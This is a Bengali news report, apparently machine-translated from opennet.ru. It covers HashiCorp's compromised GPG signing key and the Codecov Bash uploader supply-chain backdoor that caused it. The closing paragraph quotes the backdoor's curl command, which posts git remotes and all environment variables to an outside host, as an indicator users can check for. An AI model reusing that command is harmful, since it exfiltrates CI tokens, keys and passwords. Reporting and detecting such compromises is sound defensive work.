কোডকভ স্ক্রিপ্টে দূষিত কোডের প্রবর্তন HashiCorp PGP কী-এর সাথে আপস করে।

HashiCorp, ওপেন সোর্স টুলস ভ্যাগ্রান্ট, প্যাকার, নোম্যাড এবং টেরাফর্ম বিকাশের জন্য পরিচিত, ডিজিটাল স্বাক্ষর তৈরি করতে ব্যবহৃত প্রাইভেট জিপিজি কী ফাঁস ঘোষণা করেছে যা রিলিজ যাচাই করে। আক্রমণকারীরা যারা GPG কী অ্যাক্সেস করেছে তারা সম্ভাব্যভাবে HashiCorp পণ্যগুলিতে একটি সঠিক ডিজিটাল স্বাক্ষর দ্বারা যাচাই করে লুকানো পরিবর্তন করতে পারে। একই সময়ে, সংস্থাটি জানিয়েছে যে নিরীক্ষা চলাকালীন, এই জাতীয় পরিবর্তন করার চেষ্টার কোনও চিহ্ন সনাক্ত করা যায়নি।

বর্তমানে, আপস করা GPG কী প্রত্যাহার করা হয়েছে এবং এর জায়গায় একটি নতুন কী চালু করা হয়েছে। সমস্যাটি শুধুমাত্র SHA256SUM এবং SHA256SUM.sig ফাইল ব্যবহার করে যাচাইকরণকে প্রভাবিত করে, এবং releases.hashicorp.com-এর মাধ্যমে সরবরাহ করা Linux DEB এবং RPM প্যাকেজের জন্য ডিজিটাল স্বাক্ষর তৈরির পাশাপাশি macOS এবং Windows (AuthentiCode) এর জন্য রিলিজ যাচাইকরণ প্রক্রিয়াকে প্রভাবিত করেনি। .

অবকাঠামোতে Codecov Bash আপলোডার (codecov-bash) স্ক্রিপ্ট ব্যবহারের কারণে ফাঁস হয়েছে, যা ক্রমাগত ইন্টিগ্রেশন সিস্টেম থেকে কভারেজ রিপোর্ট ডাউনলোড করার জন্য ডিজাইন করা হয়েছে। কোডকভ কোম্পানিতে আক্রমণের সময়, একটি ব্যাকডোর নির্দিষ্ট স্ক্রিপ্টে লুকানো ছিল, যার মাধ্যমে আক্রমণকারীদের সার্ভারে পাসওয়ার্ড এবং এনক্রিপশন কী পাঠানো হয়েছিল।

হ্যাক করার জন্য, আক্রমণকারীরা কোডকভ ডকার ইমেজ তৈরির প্রক্রিয়ায় একটি ত্রুটির সুযোগ নিয়েছিল, যা তাদের GCS (গুগল ক্লাউড স্টোরেজ) এ অ্যাক্সেস ডেটা বের করার অনুমতি দেয়, যা codecov.io থেকে বিতরণ করা ব্যাশ আপলোডার স্ক্রিপ্টে পরিবর্তন করতে প্রয়োজনীয়। ওয়েবসাইট পরিবর্তনগুলি 31 জানুয়ারীতে আবার করা হয়েছিল, দুই মাস ধরে সনাক্ত করা যায়নি এবং আক্রমণকারীদের গ্রাহকের ক্রমাগত ইন্টিগ্রেশন সিস্টেম পরিবেশে সঞ্চিত তথ্য বের করার অনুমতি দেয়। যোগ করা দূষিত কোড ব্যবহার করে, আক্রমণকারীরা পরীক্ষিত গিট রিপোজিটরি এবং অ্যামাজন ওয়েব সার্ভিসেস এবং গিটহাবের মতো অ্যাপ্লিকেশন কোড, রিপোজিটরি এবং পরিষেবাগুলিতে অ্যাক্সেস সংগঠিত করতে টোকেন, এনক্রিপশন কী এবং ক্রমাগত ইন্টিগ্রেশন সিস্টেমে প্রেরিত পাসওয়ার্ড সহ সমস্ত পরিবেশ ভেরিয়েবল সম্পর্কে তথ্য পেতে পারে।

সরাসরি কল ছাড়াও, কোডকোভ ব্যাশ আপলোডার স্ক্রিপ্টটি অন্যান্য আপলোডারের অংশ হিসাবে ব্যবহার করা হয়েছিল, যেমন কোডকোভ-অ্যাকশন (গিথুব), কোডকোভ-সার্কেলসি-অরব এবং কোডকোভ-বিট্রিজ-স্টেপ, যার ব্যবহারকারীরাও সমস্যা দ্বারা প্রভাবিত হয়। কোডকভ-ব্যাশ এবং সংশ্লিষ্ট পণ্যের সমস্ত ব্যবহারকারীদের তাদের পরিকাঠামো নিরীক্ষা করার পাশাপাশি পাসওয়ার্ড এবং এনক্রিপশন কী পরিবর্তন করার পরামর্শ দেওয়া হচ্ছে। আপনি লাইন কার্ল -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" http:// এর উপস্থিতি দ্বারা একটি স্ক্রিপ্টে একটি ব্যাকডোরের উপস্থিতি পরীক্ষা করতে পারেন /upload/v2 || সত্য

উত্স: opennet.ru